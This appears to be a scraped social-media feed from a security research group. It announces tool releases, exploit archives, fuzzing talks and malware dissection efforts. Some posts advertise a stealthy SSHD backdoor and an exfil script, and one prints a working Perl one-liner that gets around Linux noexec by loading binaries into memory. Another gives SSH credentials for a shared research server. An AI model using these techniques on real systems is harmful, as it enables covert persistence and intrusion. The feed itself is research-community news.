The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
🤘 THC-RELEASE 🤘: Anonymous EMAIL FORWARDS. No Logz. No Limitz. FREE ✅
Grab your @reads.phrack.org or @segfault.net - and more.
Built by the legendary extencil
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
❤️RELEASE: The TEAM-TESO cvs:
Exploits, advisories, teso-informational (never released), burneye ELF crypter, bscan mass scanner, …plus some rare pictures.
Which 7350 exploit was your favourite?
Enjoy & Keep hacking,
Yours Sincerely,
Team-Teso (via THC’s bsky account).
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
THC Release 💥: The world’s largest IP<>Domain database: https://ip.thc.org
All forward and reverse IPs, all CNAMES and all subdomains of every domain. For free.
Updated monthly.
Try: curl https://ip.thc.org/1.1.1.1
Raw data: https://ip.thc.org/docs/bulk-data-access
(The fine work of messede 👌)
What does everyone think? Need feedback before release tomorrow :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Can anyone test my *SMALLEST* SSHD backdoor?
- Survives updates.
- Does not use ~/.ssh/authorized_keys or PAM modules.
- Does not create any new file.
Just SSHD trickery.
Source at https://thc.org/tips
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Stealth died 😢 A member of Team-Teso, Phrack staff, and many other groups. A true hacker—perhaps as true as a hacker can ever be. WE MISS YOU. 🩷
More: https://thc.org/404
we had joy we had fun we had a rootshell on a sun.
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
EBury SSHD backdoor?? on 400,000 hosts?
Let's fuck around and find out. (Why +s on the .so file???)
Dissect, understand & ridicule. Join the group effort at https://thc.org/ops or SSH straight into the server and check ~/ebury:
ssh -o "SetEnv SECRET=lYQkdQHIuQyTJngVtIskqRLx" root@adm.segfault.net (password is 'segfault')
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
INTERVIEW of "MB" WhereWarlocksStayUpLate:
https://wherewarlocksstayuplate.com/interview/mohammed-bagha/
You have inspired many. We are fans:⚡️🌊🎠
https://wherewarlocksstayuplate.com/interview/mohammed-bagha/
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
🇩🇪 German speaking only: THC member and @phrack@haunted.computer staff on @heiseonline@social.heise.de about Phrack's 40th, hacking and life in general.
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Inject LUA scripts into a running Linux Process like a boss, by stealth/team-teso:
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Friend of ours is testing his PoC to DISABLE XMR mining pools.
Revenge for all those pesty XMR miners installed by script kiddies. Tool destroys the ENTIRE wallet: stopping all xmr-rig miners worldwide (of the same wallet).
Looking for more WALLETs: https://wallet.hellknight.xyz/walletinfo1.php
Please help and save a baby seal.
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
ℙḨƦĀℂ𝐊 wants you 🫵 to be an AUTHOR 📜. 40th Anniversary Edition #72 🎂 👉👉👉deadline APRIL-2025. Write now. ‼️Become IMMORTAL 🦸‼️
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
💙💙BlueTeam today (#awkward)💙💙 Auto-exfil of system essentials via ssh. 👉Any guess👈 Ebury? Mining-kiddos? Here at THC we appreciate compact shell-based exfil-tools : #livingofftheland
(Source here: https://cryptpad.disroot.org/code/#/2/code/view/WTjS+8u6DUEipuuiDlIPZPHULGDVDnz7o-p3P5G40LM/)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Any PERL GURU to golf this smaller? A 1-liner to circumvent 'noexec' mount flag on Linux and load any binary directly into memory (example uses /usr/bin/id):
cat /usr/bin/id | perl -e '$f=syscall(319,$n="",1);if(-1==$f){$f=syscall(279,$n,1);}open($o,">&=".$f);while(){print $o $_;};exec {"/proc/$$/fd/$f"} x'
(from https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet?tab=readme-ov-file#memexec)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Only once about every two years I do a public training (most are in-house for companies). So a rare chance to get in-depth knowledge on fuzzing: 24-27 June in Montreal at the recon conference: https://recon.cx/2024/trainingMasteringAdvancedFuzzTestingTechniquesonUNIX.html @recon@infosec.exchange #fuzzing
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
Updated the article at https://www.srlabs.de/blog-post/advanced-fuzzing-unmasks-elusive-vulnerabilities because I accidentally added a partial corrupted seed in the middle of the campaign that made it easier for the fuzzer to find the bug. Sorry I fucked that up! Luckily I released my corpus otherwise this error would not have been discovered. Imho it is important to be transparent about results so they can be independently verified as well as to be truthful if you made a mistake :)
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
The blog post about the libwebp vulnerability fuzzing is up, it explains how I set up the experiment, how the crash was found and why oss-fuzz was not able to find it: https://www.srlabs.de/blog-post/advanced-fuzzing-unmasks-elusive-vulnerabilities #fuzzing